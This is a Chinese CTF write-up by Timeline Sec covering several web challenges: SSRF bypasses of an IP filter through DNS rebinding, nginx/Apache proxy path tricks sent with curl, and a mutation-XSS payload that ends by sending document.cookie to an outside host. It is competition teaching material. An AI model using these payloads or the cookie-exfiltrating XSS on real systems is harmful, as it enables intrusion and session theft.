到学校有点水了,因为为了绩点,很多课都没逃,都在努力听(除了一些水到不行到课)国外的ctf比较有意思而且值得去做,以下是我的一些记录。
T4rn@Timeline Sec
源码:
import os, re, requests, flask
from urllib.parse import urlparse
app = flask.Flask(__name__)
app.flag = '***CENSORED***'
app.re_ip = re.compile('\A(\d+)\.(\d+)\.(\d+)\.(\d+)\Z')
def valid_ip(ip):
matches = app.re_ip.match(ip)
if matches == None:
return False
ip = list(map(int, matches.groups()))
if any(i > 255 for i in ip) == True:
return False
# Stay out of my private!
if ip[0] in [0, 10, 127] \
or (ip[0] == 172 and (ip[1] > 15 or ip[1] < 32)) \
or (ip[0] == 169 and ip[1] == 254) \
or (ip[0] == 192 and ip[1] == 168):
return False
return True
def get(url, recursive_count=0):
r = requests.get(url, allow_redirects=False)
if 'location' in r.headers:
if recursive_count > 2:
return '🤔'
url = r.headers.get('location')
if valid_ip(urlparse(url).netloc) == False:
return '🤔'
return get(url, recursive_count + 1)
return r.text
@app.route('/admin-status')
def admin_status():
if flask.request.remote_addr != '127.0.0.1':
return '🥺'
return app.flag
@app.route('/check-status')
def check_status():
url = flask.request.args.get('url', '')
if valid_ip(urlparse(url).netloc) == False:
return '🥺'
return get(url)
关键代码:
推荐阅读文章:
http://www.manongjc.com/detail/13-sfiyyfhuol****a.html
源码:
import os, re, time, ipaddress, socket, requests, flask
from urllib.parse import urlparse
app = flask.Flask(__name__)
app.flag = '***CENSORED***'
def valid_ip(ip):
try:
result = ipaddress.ip_address(ip)
# Stay out of my private!
return result.is_global
except:
return False
def valid_fqdn(fqdn):
return valid_ip(socket.gethostbyname(fqdn))
def get(url, recursive_count=0):
r = requests.get(url, allow_redirects=False)
if 'location' in r.headers:
if recursive_count > 2:
return '🤔'
url = r.headers.get('location')
if valid_fqdn(urlparse(url).netloc) == False:
return '🤔'
return get(url, recursive_count + 1)
return r.text
@app.route('/admin-status')
def admin_status():
if flask.request.remote_addr != '127.0.0.1':
return '🥺'
return app.flag
@app.route('/check-status')
def check_status():
url = flask.request.args.get('url', '')
if valid_fqdn(urlparse(url).netloc) == False:
return '🥺'
return get(url)
import os, re, time, ipaddress, socket, requests, flask
from urllib.parse import urlparse
app = flask.Flask(__name__)
app.flag = '***CENSORED***'
def valid_ip(ip):
try:
result = ipaddress.ip_address(ip)
# Stay out of my private!
return result.is_global
except:
return False
def valid_fqdn(fqdn):
return valid_ip(socket.gethostbyname(fqdn))
def get(url, recursive_count=0):
r = requests.get(url, allow_redirects=False)
if 'location' in r.headers:
if recursive_count > 2:
return '🤔'
url = r.headers.get('location')
if valid_fqdn(urlparse(url).netloc) == False:
return '🤔'
return get(url, recursive_count + 1)
return r.text
@app.route('/admin-status')
def admin_status():
if flask.request.remote_addr != '127.0.0.1':
return '🥺'
return app.flag
@app.route('/check-status')
def check_status():
url = flask.request.args.get('url', '')
if valid_fqdn(urlparse(url).netloc) == False:
return '🥺'
return get(url)
拿到flag的思路还是一样,不同的是这回但这一次使用ipaddress库检查了IP地址
按照我们输入的流程,可以将代码改写成
furl = urlparse(url).netloc ip = socket.gethostbyname(furl) is_global = ipaddress.ip_address(ip).is_global
使用此方法,我们可以在valid_fqdn检查中获得主机ip作为公共地址,并在服务器发出的请求中获得localhost ip
这里我们用一个国外师傅写好的在线工具
https://lock.cmpxchg8b.com/rebinder.html
将绑定ip设置为8.8.8.8和127.0.0.1
推荐阅读:
http://bendawang.site/2017/05/31/关于DNS-rebinding的总结/
https://blog.csdn.net/liuyuyang1023/article/details/84582882
You know, everything has the angular. A bread, you, me and even the
universe. Do you know the answer?
首先po出源码:
server {
listen 8080 default_server;
root /var/www/html;
server_name _;
location / {
proxy_pass http://app;
proxy_set_header Host $host;
}
location /debug {
# IP address restriction.
# TODO: add allowed IP addresses here
allow 127.0.0.1;
deny all;
}
}
通过题目介绍我们猜测:访问到flag的方法是/debug/flag 首先只允许127.0.0.1,但却并没有什么ssrf利用位点。这里面比较有意思的一个点就是proxy_pass
我查阅了nginx proxy_pass的相关资料:
http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_pass
curl --path-as-is 'http://universe.chal.ctf.westerns.tokyo/debug/answer'
server.get('/api/true-answer', (req, res) => { console.log('HIT: %s', req.ip) if (req.ip.match(/127.0.0.1/)) { res.json(`hello admin, this is true answer: ${process.env.FLAG2}`) } else { res.status(500).send('Access restricted!') } });
参考链接:
https://github.com/angular/angular/blob/10.1.x/packages/platform-server/src/http.ts#L119
curl 'http://universe.chal.ctf.westerns.tokyo' -H 'Host: debuganswer'
这个和第一个很像,下载文件之后发现多了一个Apathe文件夹
配置文件如下:
<VirtualHost *:80>
<Location /debug>
Order Allow,Deny
Deny from all
</Location>
ProxyRequests Off
ProxyPreserveHost on
ProxyPass / http://nginx:8080/
</VirtualHost>
Why not try to read the official documentation
curl --path-as-is 'http://another-universe.chal.ctf.westerns.tokyo/(primary:debug/answer)'
<form><math><mtext></form><form><mglyph><style><img src=x onerror=alert()>
而刚才js里面对这个的防护只是删除了form子代的math标签
var elms = ["a","abbr","acronym","address","area","article","aside","audio","b","bdi","bdo","big","blink","blockquote","body","br","button","canvas","caption","center","cite","code","col","colgroup","content","data","datalist","dd","decorator","del","details","dfn","dir","div","dl","dt","element","em","fieldset","figcaption","figure","font","footer","form","h1","h2","h3","h4","h5","h6","head","header","hgroup","hr","html","i","img","input","ins","kbd","label","legend","li","main","map","mark","marquee","menu","menuitem","meter","nav","nobr","ol","optgroup","option","output","p","picture","pre","progress","q","rp","rt","ruby","s","samp","section","select","shadow","small","source","spacer","span","strike","strong","style","sub","summary","sup","table","tbody","td","template","textarea","tfoot","th","thead","time","tr","track","tt","u","ul","var","video","wbr"];
for(let el of elms){
let p = `<form><math><mtext></form><${el}><mglyph><style><img>`;
document.body.innerHTML = p;
let old = document.body.innerHTML;
document.body.innerHTML = old;
if(document.body.innerHTML != old){
console.log(p);
}
}
<math><mtext><table><mglyph><style><img src=x onerror=alert()>
<math><mtext><table><mglyph><style><img src=x onerror=location=location.pathname+/terjanq.me/+document.cookie>
本文作者:Timeline Sec
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/143101.html